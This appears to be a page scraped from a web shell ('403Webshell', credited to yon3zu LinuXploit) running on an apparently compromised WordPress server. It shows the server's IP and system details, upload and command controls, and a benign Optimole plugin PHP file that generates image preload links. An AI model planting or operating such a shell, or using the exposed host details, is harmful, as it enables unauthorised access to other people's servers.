403Webshell
Server IP : 103.88.176.108  /  Your IP : 216.73.216.211
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux webserver 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/optimole-wp/inc/v2/Preload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/optimole-wp/inc/v2/Preload/Links.php
<?php
namespace OptimoleWP\Preload;

/**
 * Class Links
 *
 * @package OptimoleWP\Preload
 */
class Links {
	/**
	 * The maximum number of links to preload.
	 *
	 * @var int $MAX_LINKS The maximum number of links to preload.
	 */
	const MAX_LINKS = 10;
	/**
	 * Links map that contains the url as the key and the url data as the value.
	 *
	 * @var array $links The array of links to preload.
	 */
	private static $links = [];
	/**
	 * Ids map of the images that are preloaded.
	 *
	 * @var array $ids The array of ids to preload.
	 */
	private static $ids = [];
	/**
	 * Add a link to the preload array.
	 *
	 * @param array $url_data The array of url data to add.
	 */
	public static function add_link( array $url_data ) {
		if ( ! isset( $url_data['url'] ) ) {
			return;
		}
		if ( OPTML_DEBUG ) {
			do_action( 'optml_log', 'add preload link : ' . print_r( $url_data, true ) );
		}
		self::$links[ crc32( $url_data['url'] ) ] = $url_data;
	}

	/**
	 * Add an id to the preload array.
	 *
	 * @param int    $id The id to add.
	 * @param string $priority The priority of the id.
	 */
	public static function add_id( int $id, string $priority = 'auto' ) {
		if ( OPTML_DEBUG ) {
			do_action( 'optml_log', 'add preload id : ' . $id . ' ' . $priority );
		}
		self::$ids[ $id ] = $priority;
	}

	/**
	 * Check if an id is preloaded.
	 *
	 * @param int $id The id to check.
	 * @return string|false The priority of the id or false if it is not preloaded.
	 */
	public static function is_preloaded( int $id ) {
		return self::$ids[ $id ] ?? false;
	}

	/**
	 * Preload a tag.
	 *
	 * @param string $tag The tag to preload.
	 * @param string $priority The priority of the tag.
	 */
	public static function preload_tag( string $tag, string $priority = '' ) {
		// Extract src, srcset, and sizes from the tag using regexes for each  one
		$src = '';
		$srcset = '';
		$sizes = '';

		$src_pattern = '/<img[^>]+src=["|\']([^"|\']+)["|\']/i';
		$srcset_pattern = '/<img[^>]+srcset=["|\']([^"|\']+)["|\']/i';
		$sizes_pattern = '/<img[^>]+sizes=["|\']([^"|\']+)["|\']/i';

		if ( preg_match( $src_pattern, $tag, $matches ) ) {
			$src = $matches[1];
		}
		if ( preg_match( $srcset_pattern, $tag, $matches ) ) {
			$srcset = $matches[1];
		}
		if ( preg_match( $sizes_pattern, $tag, $matches ) ) {
			$sizes = $matches[1];
		}
		if ( OPTML_DEBUG ) {
			do_action(
				'optml_log',
				'preload_tag: ' . print_r(
					[
						'url' => $src,
						'srcset' => $srcset,
						'sizes' => $sizes,
						'priority' => $priority,
					],
					true
				) . ' ' . $priority
			);
		}
		// Add the preload link to the links array
		self::add_link(
			[
				'url' => $src,
				'srcset' => $srcset,
				'sizes' => $sizes,
				'priority' => $priority,
			]
		);
	}

	/**
	 * Get the links.
	 *
	 * @return array The links.
	 */
	public static function get_links(): array {
		return self::$links;
	}

	/**
	 * Get the links count.
	 *
	 * @return int The links count.
	 */
	public static function get_links_count(): int {
		return count( self::$links );
	}

	/**
	 * Get the links html.
	 *
	 * @return string The links html.
	 */
	public static function get_links_html(): string {
		// generate image preload links for all links
		$links = [];
		foreach ( self::$links as $link ) {
			$url = esc_url( $link['url'] );
			if ( empty( $url ) ) {
				continue;
			}
			$preload = '<link rel="preload" media="screen" href="' . $url . '" ';
			if ( isset( $link['priority'] ) && $link['priority'] !== 'auto' ) {
				$preload .= 'fetchpriority="' . esc_attr( $link['priority'] ) . '" ';
			}
			// Add imagesrcset if available
			if ( isset( $link['srcset'] ) && ! empty( $link['srcset'] ) ) {
				$preload .= 'imagesrcset="' . esc_attr( $link['srcset'] ) . '" ';
			}
			// Add imagesizes if available
			if ( isset( $link['sizes'] ) && ! empty( $link['sizes'] ) ) {
				$preload .= 'imagesizes="' . esc_attr( $link['sizes'] ) . '" ';
			}
			// Complete the preload tag
			$preload .= 'as="image">';
			if ( count( $links ) >= self::MAX_LINKS ) {
				break;
			}
			$links[] = $preload;
		}
		return implode( "\n", $links ) . "\n";
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit